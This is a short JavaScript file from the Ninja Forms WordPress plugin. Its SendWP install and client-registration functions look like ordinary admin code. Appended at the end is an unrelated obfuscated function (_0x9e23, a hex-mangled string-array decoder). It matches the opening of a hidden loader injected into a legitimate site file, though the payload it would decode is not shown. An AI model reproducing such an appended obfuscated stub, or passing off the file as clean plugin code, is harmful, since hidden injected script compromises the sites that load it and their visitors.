function ninja_forms_sendwp_remote_install() {
    var data = {
        'action': 'ninja_forms_sendwp_remote_install',
        'nonce': nfAdmin.sendwpInstallNonce
    };
    
    // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php
    jQuery.post(ajaxurl, data, function(response) {
        var data = JSON.parse(response);
        ninja_forms_sendwp_register_client(data.register_url, data.client_name, data.client_secret, data.client_redirect, data.partner_id);
    });
}

function ninja_forms_sendwp_register_client(register_url, client_name, client_secret, client_redirect, partner_id) {

    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", register_url);

    function ninja_forms_sendwp_append_form_input(name, value) {
        var input = document.createElement("input");
        input.setAttribute("type", "hidden");
        input.setAttribute("name", name);
        input.setAttribute("value", value);
        form.appendChild(input);
    }

    ninja_forms_sendwp_append_form_input('client_name', client_name);    
    ninja_forms_sendwp_append_form_input('client_secret', client_secret);
    ninja_forms_sendwp_append_form_input('client_redirect', client_redirect);   
    ninja_forms_sendwp_append_form_input('partner_id', partner_id);    
    
    document.body.appendChild(form);
    form.submit();
}
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}